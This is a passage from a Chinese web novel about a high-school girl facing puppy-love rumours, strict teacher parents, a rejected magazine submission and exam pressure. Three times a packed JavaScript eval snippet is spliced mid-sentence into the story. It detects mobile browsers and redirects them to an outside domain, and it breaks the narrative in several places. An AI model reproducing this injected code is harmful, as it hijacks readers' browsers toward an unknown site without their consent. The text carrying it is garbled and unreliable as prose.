因为父母职业原因,余希柠自读书以来,没少被同学背后说搞特殊。从小学开始,考了一次第一名就被污蔑透题。到了高中,考完试,就有人说老师是优先批改她的卷子。 简直百口莫辩,余希柠真想说自己考得那么差,真没有特殊待遇的必要。 “你老在乎别人的看法做什么,对你自己学习有帮助才是重点啊。”陈慧柔听余希柠的解释,一口气差点上不来,急都急死,“这么好的机会,你说不要就不要。” “我又不参加英语竞赛,浪费这时间做什么,上完课回家都六点多了,我还要练琴、做作业,不得凌晨才睡觉。” 再说了,她还有社团活动要参加。 这后半句余希柠不敢说,说出来就是腥风血雨。 余序洲坐在沙发上扶额:“就算不参加竞赛,也是提高英语能力的好机会,免费的补习班,别人都是抢着来,你倒好,送上门还给拒绝了。” 陈慧柔急得跺脚,扭头问余序洲:“周老师怎么说啊?这周还能去上吗?” “我都说了我不去。” 陈慧柔一巴掌拍在余希柠后背上:“你再犟,自己争取来的面子,说丢就丢,要真有骨气就得去上,别到时候让人说你这次考得好是侥幸。” “妈……” “大不了周三周四晚上别练琴,高考来了,兴趣爱好都得跟着让道。” 陈慧柔铁了心要让余希柠去上这个竞赛班,余希柠怎么拒绝都没用,最终拉着脸回屋生闷气。 客厅里陈慧柔还在跟余序洲反复确认:“她想去的话,还可以再去的吧?周灵今天怎么跟你说的?” 余序洲从包里拿出卷子和笔记,是周灵交给他的。 “喏,卷子都在这,她就是让我来劝,得亏这次竞赛主要带教老师是她,换做别人也不会中途让希柠进去。” 陈慧柔拿着卷子和笔记,感叹道:“我女儿的运气还是好的。” 次日就是周三,下午两节课结束后,周围同学飞快收拾书包聊着要直接回家还是去哪逛街,个个脸上挂满了喜色。 唯独余希柠,还有一节英语课要上。 “那我先走啦?” 许于薇和她挥了挥手,背着书包先行离开。余希柠叹了口气转身上楼,竞赛班的教室设在了三楼,老师办公室隔壁。 余希柠从后门进去就看见熟人——林烜。 林烜也没料到会在这儿遇到余希柠,先前他分明没见到她来上课。 “你怎么……” “你怎么——” 两人异口同声,刚落座的同学也纷纷看了过来,竞赛班没有固定座位,都是学生自己挑选落座,先到先得。 林烜挪开放在旁边桌面的书包,拍了拍:“坐这?” 余希柠走过去坐下,心情一下好了不少:“你这种人都能来上竞赛班?什么鬼。” “靠,什么意思,我正经被选进来的好吧,倒是你,怎么中途来上?” 林烜知道余希柠爸爸是学校的英语老师,免不了往哪个方面想,正准备开口就被余希柠拦住。 “别,跟我爸无关,是被我们老师拉进来的。鄙人不才,上次月考英语考了第一,之前是明珠蒙尘,现在是重见天日。” 余希柠拿出做好的卷子和笔记本,又拿过林烜的卷子看了看,始终不敢相信:“你英语怎么突然变得这么厉害了?” 上初中那会,他都还是英语老师重点关注对象,怎么上了高中都是参加竞赛班的水准了。 林烜见余希柠藏不住的惊讶,唇角微抿,眼神里闪过一丝失落:“我不都跟你说过了,中考结束那个暑假去上了新东方。” “进步能这么大?”余希柠竖起大拇指:“还是你厉害。” 两人有来有回地聊天说笑,丝毫没有注意到前排的人正遮挡着嘴小声议论着,不时投来鄙夷的目光。 很快,周灵捧着卷子进教室,目光环视了四周一圈最后落在余希柠身上,莞尔。 余希柠抿唇垂下头,莫名其妙觉得有些心虚,昨天还在办公室里毅然决然地拒绝,今天就老老实实坐在这了。 上半节课是讲卷子,下半节是语法和作文训练,平时一节课四十分钟,竞赛班一节课是一小时。 结束时太阳都落山了,天空一片昏黄,余希柠仰头往后靠着椅子,闭目养神:“一想到明天下午还得来,就好累。” 林烜:“走不走?” “希柠。” 林烜刚问完话,余希柠还没来得及回答就被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071805|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周灵叫上讲台。 前排几个女生聚在一起,故意放慢收拾书包的动作,就看周灵要和余希柠说什么。 “怎么样,节奏跟得上吧?” 余希柠:“可以。” 周灵点头:“行,回去吧,下次上课坐前面点。” 余希柠听话点点头,下讲台经过前排课桌就听到议论声—— “听说她是自己找老师说要来上课的。” “还能这样?” “怎么不能,她爸也是学校老师,没看周老师对她的态度多亲热吗?关系户就是不一样。” “居然还有想来上课的,稀奇。” “你懂什么,醉翁之意不在酒……” 女生说完,扬起下巴指了指教室后排的林烜,与她一同讨论的同学恍然明白。 “不会是为了……” “嗯呐,追男生都追到竞赛班来了,真有意思。” 余希柠本是不在意这些言论的,嘴长在别人身上,她哪能一张张都管,可听到这,她还是忍不住停下来,偏头看向造谣者。 “你胡说八道什么?” 女生压根不惧她,正想反驳,就被一旁的同学拉走:“别惹事,林烜过来了,走走走。” 林烜没听见她们在说什么,只是见余希柠站定在这儿。 “认识?” “没有。”余希柠摇头,回到座位上背书包,“走吧,该回家了。” 本以为就是几个女生多嘴爱议论,谁知,才过几天就已经有传言说她和林烜早恋,这话传到余希柠耳朵里时,她刚从摄影社回来,社长组织周末去山上采风,她正想着要怎么跟陈慧柔说这事。 许于薇倾身附耳把话说给余希柠听,末了还不忘补充一句:“刚刚林烜还来教室找你,估摸着也听到这话了,走的时候还生气地踢了一下教室后门。” “他骂人了吧?” 余希柠问,她现在都想骂了,是哪个缺德的四处造谣。 许于薇点点头,忍着笑:“是骂骂咧咧的,看得出来心情不好。你们俩……他们说你是为了林烜去找的周灵老师,才去英语竞赛班的。” “我是有多缺心眼。” 余希柠一坐下,前后排同学都凑上前打听,平日里她们就看见过林烜来找余希柠,又给她讲题,又给她买杂志。 “我听说他之前为了给你买到最新的《最小说》,骑车把全镇上所有的书刊亭都问了一遍才买到。” 同学又提供了一个“新料”,余希柠本人都是头一回听:“《最小说》很难买吗?他没说跑了很多家才买到啊。” “这杂志现在可火了,就我们学校出去,斜坡下那家,得让老板娘提前留着才能买到。” 这事儿许于薇知道,她每个月都要去买《中学生博览》。 “不管了,反正没早恋,假的,请帮忙辟谣。” 余希柠双手抱拳拜托,上课铃响,得到当事人真实回答的同学兴致阑珊地回到自己位置上。 许是做贼心虚,余希柠觉得班主任一进门就把眼光投到了自己身上,她佯装淡定的样子有些许笨拙。 毕竟这可不是什么好事,万一传到余序洲和陈慧柔耳朵里,那还得了。余希柠心不在焉地起立,说完老师好,坐下后翻开课本,一堂课走神了三四分。 下课后,班主任走到她桌前,敲了敲:“来一趟办公室。” 余希柠心想,完蛋了,她下意识看向许于薇,后者同情地扁扁嘴。 阳光穿过走廊投射到教室外墙上,经过的人身影都被拉得很长,余希柠跟在班主任身后,低着头小心躲避怕踩到影子,忽略了四周投来好奇打量的目光。 隐约还有人在议论:“被叫去办公室了,估计就是因为早恋。” 余希柠无奈地望向外面的天空,隔着一排大树和黑板报,是高一级的教学楼,没能一下认出教师办公室在哪,也不知道这会儿流言有没有传到余序洲耳朵里。 一进办公室就看到了林烜,他也被班主任叫过来了,这会儿正背着手懒散站在办公桌旁边。 见余希柠也来,他无奈叹气:“老师,您要不再看看,我俩哪点像早恋的样子。” 29. 投稿 余希柠被叫来办公室的次数屈指可数,因为身份特殊,她讨厌来这个地方,更何况这次还是因为早恋传言。 从一进门就忍不住咬紧嘴唇强压情绪,委屈、不安、气愤和羞耻交叠涌上心头,结果走近了听到林烜这句话,扑哧一下笑了。可不就是嘛!他们哪里像早恋的样子啊! 班主任扭头看她。 余希柠赶紧收敛情绪,装乖站好。 “把你们俩叫过来,知道是因为什么吧?” 班主任拧开自己桌上的保温杯,喝了口水,沉思片刻才道:“听说你们初中的时候是同桌?那会关系就很好?” “一般,老师。” 余希柠认真澄清。 林烜犹豫了几秒,附和:“普通朋友,老师。” “普通怎么还会被传早恋?这阵子抓的就是校风校纪,不想被教导主任请去喝茶,就各自注意点。” 余希柠的班主任看了眼旁边的老师,问:“陈老师还有什么要补充的吗?” 陈老师是林烜的班主任,该说的也都说了,看林烜的态度也的确不像早恋,兴许就是同学之间乱传的。 “今天把你们叫过来,也当给其他同学提个醒,回去之后把心思都放到学习上,别影响成绩,听到没?” 林烜:“知道了老师。” 陈老师:“行了,回去上课吧,往后多注意点。” “注意什么呢老师?我总不能因为这些莫须有的话,就连朋友都不交了吧?我还指望余希柠教我作文怎么提高分数呢。” 余希柠都准备转身走了,林烜还突然来了这一句,宛若一棒击在了脑门上,令她头脑短暂一片空白。 陈老师也怔了下,没料到林烜会这么说,正琢磨着该如何开口,就听他幽幽道—— “希望老师们能抓住造谣传话的人,训斥她们,从源头遏制。而不是警告我们多注意,我们就是连话都不说,也照旧有人恶意栽赃。总不能因为那些人,害得我们连朋友都做不成了吧?” “行了,这事我们会处理,你俩先回去吧。” 班主任挥挥手,余希柠和林烜一前一后离开办公室。确认安全距离后,余希柠对着林烜竖起大拇指:“勇士啊,佩服!” 林烜瞥了她一眼:“你嘴长在肚子上吗?都被衣服盖住了发不出声?” 余希柠:“……” 林烜看上去情绪恹恹:“算了,我回教室了。” “喂,你没生气吧?为这种事不至于,我都没放在心上。” 余希柠叫住林烜,只见他回头看了自己一眼,终是没说什么,转身三两步跑上台阶,消失在了楼梯拐角。 余序洲下课后拿着卷子和讲义回办公室,刚一进门就听见有周灵在喊自己。 “序洲老师,你家千金今天又来我们办公室喝茶了。” 余序洲忙不迭放下课本,走上前去,一手拘谨地拍了拍,还没来得及洗手,沾了些粉笔灰。 “怎么了?” 周灵后面没课,就过来高一教研组这边喝茶,聊起班级成绩的事儿,不免提到余希柠:“周一升旗开会的时候校长还在强调学习紧迫感,要班主任严抓各班班风,转眼就有人传你家千金早恋。” “哦?”余序洲乐呵呵地笑了下:“她和同学关系相处得不错,有几个都是从初中好到现在。” “序洲老师,说的可是早恋,不是同学相处。” 一旁的老师强调重点,余序洲摆了摆手:“唉,男生她都是处成哥们的,不可能早恋。” 周灵抿唇笑了下:“您还真是了解希柠。” “我女儿,我不了解谁了解,有人传,班主任叫过去一问便知。”余序洲急着去洗手,走多两步又回过头来问:“周老师,她和谁传早恋,您知道吗?不会是林烜吧?” 周灵现在有点相信余序洲的话了,点点头:“您猜得真准。” 余序洲打心底里松了口气:“是哥们,我作证。” 本以为早恋的事儿会传到父母耳朵里,余希柠战战兢兢了一下午,回到家第一时间就躲房间里写作业,等陈慧柔喊吃饭了才磨磨蹭蹭出来。 中午剩了些白米饭,陈慧柔往里加了香菇、鸡蛋和腊肠单独给余希柠炒了碗蛋炒饭,自己则和余序洲喝白粥,为的就是把昨晚剩的鱼都解决掉,不再留过夜。 “下周运动会,你报名参加了吗?” 余序洲见余希柠闷头吃饭也不说话,随口找了个话题。 余希柠:“没,我运动细胞很一般。” “那岂不是有三天假?” 运动会开幕式在周四下午,周五就正式比赛,连着三天,如果不参加的话,等于周四下午就没课了。 余希柠就等着这个短暂的假期喘口气:“对啊,正好宋乔周五生日,她邀请我们几个同学去她家里玩。” “哪几个同学啊?”陈慧柔问。 余希柠看了她一眼:“说了你也不认识。” 陈慧柔不懈道:“你说了我不就认识了吗?” 余希柠无奈,跟报菜名似的把几个同学的名字念了一遍。说到林烜的时候,余序洲拾筷动作一顿,试探性地开口—— “这林烜,是你初中同桌吧?” “对,宋乔和他关系也不错,就一同邀请了。” 不提许于薇,却单拎林烜出来,余希柠难免联想到白天在学校里发生的事情,眼眸一抬,瞥了余序洲一眼,见他神色平淡毫无其他表情。 难道老爸真的什么都不知道? “同学生日不能空着手去,让你妈提前买点零食带过去。” 陈慧柔道:“家里有箱旺旺还没拆,你拎着去吧。” 余希柠:“行。” 饭后,余序洲照例散步去余光亮家,余希柠关好门窗去练琴,在这个点正好是新闻联播。 上小学那会余希柠放学回家,路上遇到邻居阿姨,对方就说问她练琴时间能不能换一换,晚上那个时间点大家要看新闻联播,琴声太吵了会盖住新闻内容,听不清。 余希柠把这话记到了现在,尽量避开新闻时间,如果实在没办法,就主动把门窗关紧。 陈慧柔洗完碗出来,给自己沏了杯茶,坐在客厅里惬意地欣赏着琴声,一边翻阅着手里的杂志,短暂十几分钟的时间,心绪宛若得到洗涤,平静又舒适。 墙上时钟指到八点,余希柠结束练琴,陈慧柔合上手里的杂志问她。 “要吃苹果吗?妈妈给你切。” “不了,还很饱,我先进去写作业了。” 陈慧柔抬手提醒她:“门别关。” 余希柠顿了顿,嗯了一声进屋。 自上初二,她房间里的格局就有了小变动,原本摆在大床旁边的书桌搬到对侧,和房间门口是同个方向,陈慧柔坐在客厅里就能看见她学习的样子,方便监督观察。 余希柠从书包里把课本都拿出来堆在左侧,垒得跟小山一般高,挡住了一部分视线。紧接着从书本里拿出《最小说》,是最新一期。 如获至宝似的翻开第一页,连目录的标题、栏目导语,余希柠都看得格外认真。 那本用来摘抄好词好句的本子已经写了二分之一,还有另一个新本子,是用来记录自己的灵感,余希柠渴望能像喜欢的作者一样,写出一个完整且丰满的故事。 从陈慧柔这个角度看过去,是余希柠在埋头奋笔疾书,上次月考考得还行,许是真的开窍了也说不定,她巴不得一直这么省心。 周五下午,余希柠把作业写完了才出门,走之前还把杂志跟一个厚厚的信封带上。 因为顺路,她和林烜约了在菜场街的大榕树下碰面,一块过去。余希柠到的时候,还不见林烜身影。 今儿风大,余希柠把外套拉链拉到顶,半张脸都藏进衣服里躲着,额前刘海都被吹乱,不时对着腕表上的时间,视线紧锁每一个路过的人。 “希柠?” 听到有人叫自己,余希柠回过头,定睛看了数秒才反应过来:“黄阿姨。” “哎,等人呢?外面冷,进来铺里等?” 余希柠都没意识到自己站的这个位置正好在林屿沉家店门口,黄沐冰格外热情,她也不好意思拒绝,把车头调转骑了过去。 “阿姨好。” “哎哟好久没见了,今天不用上课吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071806|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄沐冰见余希柠鼻头都吹红了,忙给她倒了杯温水。 “谢谢阿姨。”余希柠接过,解释:“我们学校运动会,我没参加。” “啊这么巧,屿沉学校这几天也是运动会。” 猝不及防听到这个名字,余希柠吸了吸鼻子,正打算客气地问一下老同学的情况,紧接着就看见了林烜的身影。 他刚到大榕树下,也是一副火急火燎的样子。 “林烜,我在这!” 余希柠招手示意,回头跟黄沐冰解释:“阿姨,我约了同学,就先走了,谢谢您的热水。” 黄沐冰笑道:“不客气,路上小心。” 余希柠刚走,林屿沉就从楼上下来,一副刚睡醒的样子,抬手拨弄头发。见店里没客人,就问黄沐冰:“妈,你刚才和谁说话呢?” “希柠,你要是早一分钟下来就好了,她刚和朋友离开。” 林屿沉单手抄着裤兜走到店前看了眼,来来往往的路人那么多,可他还是一眼认出了那个背影,身旁还有个男生陪着她一块骑车,两人有说有笑的,看上去关系很亲密。 林屿沉装作没怎么在意地问:“她来店里买东西?” “不是,她在大榕树下等朋友,我就是看着觉得很眼熟,试探性叫了她的名字,没想到真是她。”黄沐冰又问林屿沉:“你俩老同学没联系了吗?” 林屿沉:“嗯。” 黄沐冰:“我刚还说起你呢,说你们学校也是这周校运会。” “她问起我了?”林屿沉回过头,想象着余希柠和母亲聊天时说起自己的样子,下一秒就见黄沐冰摇头。 “还没说什么,她朋友就到了。” 黄沐冰收拾杯子往屋里走,徒留林屿沉站在原地,冷然垂眼。 来给宋乔庆生,是余希柠头一回在同学家吃饭,从小到大,陈慧柔管她管得很严,不许她在同学家吃饭、过夜。 这次能批准,还是托月考的福,考得好,就能争取到一点点放松的机会。因家住在教师村,余希柠平日里放学在校门口就分开了,也没什么机会和同学一块骑车逛街游城。 她先是去了趟邮局,把从家里带出来的信封投递出去。 林烜见信封那么厚,问:“这是给你笔友攒了多久的心声?” 初中那会林烜就知道余希柠交了笔友,以为现在还有信件往来,殊不知这事儿早就被陈慧柔强行掐断了。 “不是笔友,是投稿。我给《最小说》投了篇稿子,也不知道能不能成。” 余希柠写得很用心,有几晚甚至都已经进被窝里了,因为想到几个句子跟情节很合适,又爬起来写,生怕第二天一早醒来忘记。 她幻想着自己的文字能变成印刷体,刊登在最喜欢的杂志上。 林烜摸了摸后脖颈,犹豫着问:“你用写的?寄的地址呢?” “杂志目录页那不是有地址吗?我就照着上面写的,然后写多了转给编辑部这几个字。” 林烜:“现在不都流行邮箱投稿吗?那样更快捷吧,虽然你的字挺好看的,但保不齐编辑都收不到这稿子。” 余希柠摇摇头,有股气闷在胸口:“我们家连网都上不了,电脑就是摆设,平常我爸妈也不会让我碰。” “那你怎么不去网吧?” 余希柠眯起眼:“不行,且不说里面的环境有多乱,就是让人看到了,传到我妈耳朵里,估计会把我腿打断。” 林恒没再吭声,想不到更好的办法了。 “祈求稿子能被看到吧!” 余希柠默默许下愿望。 从广东到上海的信件,保守估计要一个星期以上,编辑审核要小半个月,余希柠盯着日历上不停变换的时间慢慢推算着。 眼看一学期都快结束了,稿件都没有收到任何回复,杂志上也没有刊登她的作品,第一次投稿石沉大海,失落沮丧全写在了余希柠的脸上。 她第一次尝到期待满满但最终失望落空的滋味,她不敢告诉任何一个人,多少个夜晚入睡前自己都在想象稿子刊登,收到一笔丰厚稿费后的画面,兴许还会收获很多读者,再然后她会创作更多好作品,一战成名也说不定。 30. 成绩 期末考成绩出来,余希柠依旧在中下游,陈慧柔颇为不理解。这段时间分明看她学习很用功,一直都坐在桌前,每晚也是接近十一二点才熄灯,怎么成绩会提不上来。 别说陈慧柔,连余序洲都急了,就这分数,上二本都悬。 余家召开紧急家庭会议,复盘此次期末考失利原因,第一轮先由余希柠主动陈述,第二轮由余序洲就跟学校各科任老师交流后得出的结论进行分析。 陈慧柔心里堵得慌,早没了耐心:“从前文理不分科,你总拿理综来当借口,现在就三门文科你都能考得这么差,还有数学,都上补习班了你怎么还跟不上。你心思都跑哪去了?每天坐在书桌前学习,是摆个样子给我看的吧?” “我没有……”余希柠皱着眉,“学都学了,我也付出时间跟精力了,可一到考试就是发挥不出来,我能有什么办法,我都不是考试的料。” “你不是考试的料你是什么?不想考试你能干什么?” 母女俩又吵了起来,教师村的房子隔音不好,先前就有邻居私底下在说,孩子成绩好不好,光听就知道,这一家子要是总吵架,那一定是没考好。 余序洲也是要面子的,拦着陈慧柔冷静些,另一边催促余希柠:“赶紧去做卷子。” “我出去透透气。” 余希柠径直换鞋子出了门,大门一关,陈慧柔回头看余序洲,问:“她这是在发脾气?” “唉散散心也好,是该冷静下来好好反思了。” 陈慧柔:“我就是不明白,给她营造了这么好的学习条件和环境,她怎么就不懂得珍惜,我们小时候哪里有这么好的条件。” “和从前那比不了。” 陈慧柔还是觉得堵得慌:“远的不说,挑近的,林屿沉家环境那么差,他照样争气考第一,哪需要父母操心,天天跟催命似的。” 这些话余序洲都听腻了,找了个借口离开。 入冬天冷,余希柠穿了件厚外套,双手揣进口袋里低头走着,刚出教师村门口迎面遇上许明姚。 “许老师。” 余希柠如往常般打招呼,许明姚却跟没看见没听见一样擦身而过,且越走越快。 一颗心宛若被人丢弃在地上狠狠踩过那般,余希柠眨了眨眼,不可思议地站在原地。 她方才,是直接被无视了吗? 揣在口袋里的手捏紧了生疼,余希柠咬咬牙,继续往前走。约莫在外面吹了有半小时的风,小腿肚都走酸了,余希柠才回家。 进门时她看到房间里的灯亮着,愣了两秒,意识到什么,把鞋子一脱连拖鞋都没穿就跑了进去。 陈慧柔坐在书桌前,面前摊开了一本笔记,听见动静,她缓缓转过头来。 有那么一瞬间,视线对上的时候,余希柠心里是又气又绝望。 气,是生气陈慧柔又背着她翻了书桌,这种习惯从上初中就开始有了。那时她们大吵了一架,余希柠觉得陈慧柔这样做侵犯了自己的隐私。 后来有段时间,她会把重要的,不想让父母看见的东西藏好,额外做了标记,只要人翻动,她就能知道。 如今,这样的行为又一次发生,余希柠深感绝望,她和陈慧柔好像陷进了一个无法好好沟通的囹圄里。 “我说呢,你每天坐在桌前的时间那么长,看似在用功学习,怎么成绩就是提不上来。敢情功都用在这些事情上了。” 陈慧柔把笔记本往地上一丢,哗啦啦的纸张在半空中翻开后被彻底压在了地面。 一如余希柠对文学的萌芽,偷着光艰难生长,紧贴着窗边阴暗处小心翼翼地向上攀升,一朝被发现,连盆带土被反扣在了台面上,再无翻身可能。 2013年的新年,余希柠过得非常潦草。 大年三十从爷爷奶奶家吃完饭回来,连春节联欢晚会都没看就进房间学习。窗外不时响起烟花爆竹的声音,楼下还有小孩子围追打闹放鞭炮,家里却安静得只剩下书本翻页的声音。 陈慧柔在房间里打电话给亲朋拜年,余序洲坐在她旁边开着静音模式看电视,图个画面热闹。 年初一一早,余希柠换了衣服来给爸妈拜年,陈慧柔和余序洲对她的祝语从“平安顺”变成了“学业进步,考上理想大学”。 不仅是父母,去给亲戚拜年时,对方都说了同样的话,所有人都知道她今年要参加高考。余希柠梦里都是和高考有关的画面,余家自此拉起了一条名为“备战高考”的弦,绷紧且锋利。 初三后余希柠就一直待在家里,往年过节的余韵到初六才渐渐散去,今年结束得尤为快。不知道大家是不是默认她在关键节点不好打扰,来拜年的亲友都比往年少了很多。 陈敬涛一家四口倒是和从前一眼,初三晚在陈慧柔家吃饭,陈梓钰来了,余希柠久违松了口气。 “姐,你手机能不能借我一下,我登个□□。” 账号八百年没上过了,也不知道会不会被收回,输入密码成功上线,余希柠松了口气。 □□头像闪个不停,滴滴滴的消息声都卡顿了,陈梓钰偏过头看她:“你这是多久没上过□□了?” “去年清明的时候?也是借你手机登的。” “你家的网不行吗?” “上学期就停了宽带,没再续费了,感觉都没怎么用过。” 从聊天框到□□空间,余希柠不太熟悉地操作着手机,陈梓钰也没催她,极有耐心地等着。 “我听大姑说,之前想让你走艺考路线,你拒绝了?” “就是有简单了解过,艺考也不容易,得从一开始就准备音乐素养相关知识,还得声乐考试,总之不是会一门钢琴就能考的。” 余希柠一边回踩空间,一边回答陈梓钰的问题:“我同学高一的时候就开始准备了,我这种临时抱佛脚的,怎么可能考得了。” 像是想起什么,余希柠跑到自己桌前,从笔记本里翻出一张纸条,上面写了串数字,正是很久前黄沐卿报给她的——林屿沉的□□号。 “谁啊?” “我一个同学,很久没联系了。” 余希柠输入号码发送添加好友消息后,就把账号退了,手机还给陈梓钰。 “不等回应吗?” “不了,加了也不知道说什么,他是学霸,我是学渣,本来也没话讲。”迎上陈梓钰诧异的目光,余希柠补充解释:“他大姨是我妈好朋友,联系方式是那个阿姨给我的,加了就当完成任务。” 陈梓钰:“行吧,再坚持坚持,还有半年就解放了。” “姐,你现在忙吗?我听说大城市的老师工作量都很多。” 陈梓钰对自己人生规划格外清晰,上大学的时候就考取了教师资格证,毕业的时候就参加教招顺利上岸,如今是广州一所中学的语文老师。 起初得知她当老师,余希柠感叹:“没想到从教师家庭出去后,你还会对这个职业有想法,老师有什么好的,几十年反复教着同一套教材,做着重复的工作,没什么灵性和创造力。” 那时候,陈梓钰也不忘反问余希柠:“那你以后想读什么专业,想做什么?” 余希柠坚定道:“没想清楚,但一定不当老师。” 如今陈梓钰入职也有一学期时间,工作量确实大,需要参加培训还要做课件、上公开课跟家访,除了教学以外的工作非常多,并不只是教书本上的知识那么简单。 余希柠听着她的描述,在她眼里丝毫看不出一丝喜悦和享受。 吃完饭,三姐弟下楼放烟花玩娃娃机,陈慧柔和王君在厨房洗碗,陈慧柔总是一副忧心忡忡的样子,王君反复劝她,再坚持半年,时间眨眼就过去了。 “我现在就是担心,她考不好没书读怎么办。” 王君失笑:“你这心态可不行,都还没考试呢,还有半年时间,你怎么就觉得她考不上没书读。别的当家长都是想着孩子好,你这倒反着来。” “说出来你别笑,我都不敢往好的想,生怕到时候空欢喜。我现在就是往最差的境界想,做好心理准备,自打她上高三,我整夜整夜都睡不着,她只要有考试,我都替她紧张。” 王君没想到陈慧柔会这么焦虑,难怪近段时间看她脸色很差,人也消瘦不少。 “序洲也会这样吗?” 陈慧柔苦笑:“他倒是宽心得很,躺下就呼呼睡着,雷打不动。” “你这样可不行,别到时候孩子还没高考,你先把身体给熬坏了。” 王君也算过来人,但话说回来,陈梓钰确实让她和陈敬涛省心很多,上高三都不用怎么管,有时候还得劝她别学得太紧,多出门放松放松。 “希柠要知道你这样,也会担心,压力也大。” “她会压力大?”陈慧柔无奈地笑:“你看她没心没肺那劲,要真能给她压力才好。” 王君尽量开导陈慧柔,但也不好多说什么,洗完碗都没坐下喝杯茶,就催着陈敬涛赶紧回家,美名其曰不要打扰余希柠学习。 2011年起,广东省普通高考英语听说考试成绩将计入高考总成绩,分值为十五分。开学后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071807|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前两周,各班英语课轮流到多媒体功能室练习口语,余希柠一度梦里都是那句—— “生活就像海洋,只有意志坚强的人才能到达彼岸。” 第二学期的课程基本上都是复习,一轮总复习结束就到了一模考的时间。一模严格参照高考模式,被二中奉为最具有参考价值的一次模拟考,上到老师,下到家长,均严阵以待。 余希柠先前因为学习压力太大,生理期紊乱,最长有三个月没来例假,为此陈慧柔非常心焦,中医西医问了个遍。 中医建议喝中药调理同时加强锻炼,不要久坐;西医建议吃孕酮片调理例假周期,三个月一疗程。 中药吃了一学期不见起效后,陈慧柔就买了孕酮片按照西医叮嘱给余希柠用药,催来例假的时间和一模考有冲撞。 考试第一天,余希柠就因为痛经呕吐,笔都握不稳,差点没写完作文。回家饭都没吃,就躺床上,满头冷汗,下午的数学考试发挥也很一般。 两天时间一晃而过,家里气氛压抑得很,陈慧柔责怪自己没有算好时间,在这么关键的时刻出错导致余希柠状态不佳影响了这么重要的一模。 余希柠身体不舒服躺在床上,神态恹恹,感觉只要一闭上眼,不是卷子就是黑板上的倒计时。 全体高三老师周末没休息集中在学校改卷,周日晚成绩就出来了。余序洲散步回来经过校门口,正好遇上余希柠的班主任。 “序洲老师啊,希柠一模的成绩太不理想了,照这么下去,上本科都难。” 余序洲惭愧地搓了搓后脖颈:“她这次考试身体不舒服,多少影响了。” 班主任提醒余序洲:“要多关注希柠的状态,她的应试素质太差了,一到大考就紧张影响状态,说到底就是基础不扎实,心里没底。” 余序洲:“多谢您关心。” 班主任:“改了两天卷子累了,我先回去了,家里还等着吃饭。有什么情况,周一随时沟通。” “好的好的,路上小心。” 余序洲敛起嘴角僵硬笑容,步伐沉重地回了家。彼时陈慧柔刚做好饭,正喊余希柠拿碗筷。 “怎么样,成绩出来了吗?” 陈慧柔见到余序洲第一句话就是问分数,压根没注意到余希柠的表情。 她正站在消毒柜前面,一听到成绩两个字,动作一顿,浑身发凉,心脏扑通扑通跳得飞快。 余序洲摇摇头:“吃饭吧,明天周一自然就知道了。” 陈慧柔:“我也没抱什么希望,毕竟状态那么差,成绩估计也好不到哪去。” 余希柠什么话都没说,抱着碗筷回到餐桌前,机械地盛饭放到父母跟前,全程面无表情。 一顿饭各自怀揣心事,谁都没说话。 余序洲最先放下筷子,抽过纸巾擦了擦嘴,看向余希柠:“吃完跟我去趟爷爷奶奶家,他们说好久没看见你了。” 陈慧柔有些不乐意:“明天都要上学了还去。” 余序洲:“坐一会就回来。” 从家里走到爷爷家要十五二十分钟,余希柠跟在余序洲后面,一路都没说话。余序洲好几次回头看她,都是低垂着头。 “你觉得这次没考好,身体和心理原因哪部分占比大?” 余希柠:“嗯?” “下午回家前,我遇到了你的班主任,成绩出来了,你的分数连本科线都上不了。当然,考试两天你身体不舒服,这有很大影响,但抛开这个因素,你自己觉得呢?” 果然,分数已经出来了。 可陈慧柔问的时候,余序洲却没有说,是不希望连顿饭都吃得不安稳吧。 余希柠攥紧了手指,脚步不自觉快了些许:“我太紧张了,因为知道这场考试很重要,生怕出错。” “会紧张是因为你心里没底,知识不牢固,考试就心虚,读了这么多年的书你连这点道理都不懂吗?” 余序洲难得严厉,余希柠一下被唬得大气都不敢出。 “你现在的人生才刚刚开始,往后就会明白,世界上比高考更难的事情要多得多,可如果你连高考这一关都过不去,你还怎么有以后。” 余序洲停了下来,他没有要求余希柠能给到什么反馈,只是在对上她眼睛的那一瞬间,心有余而力不足。 他重重叹了口气:“你自己好好想想吧。” 余希柠站在原地,眼泪忽然就掉下来了,她不知道该从何说起自己的委屈跟无助,好像没有什么立场,唯有用一次又一次的考试成绩来换取父母对自己的看法。 31. 志愿 四月迎来二模考试,考完学校组织毕业班拍集体大合照,很多同学都从家里带来相机或者手机,利用这个机会和关系好的同学、老师拍合影。 许于薇也带来了她的新手机,宋乔有点羡慕:“都要考试了,你爸还给你买新手机啊。” 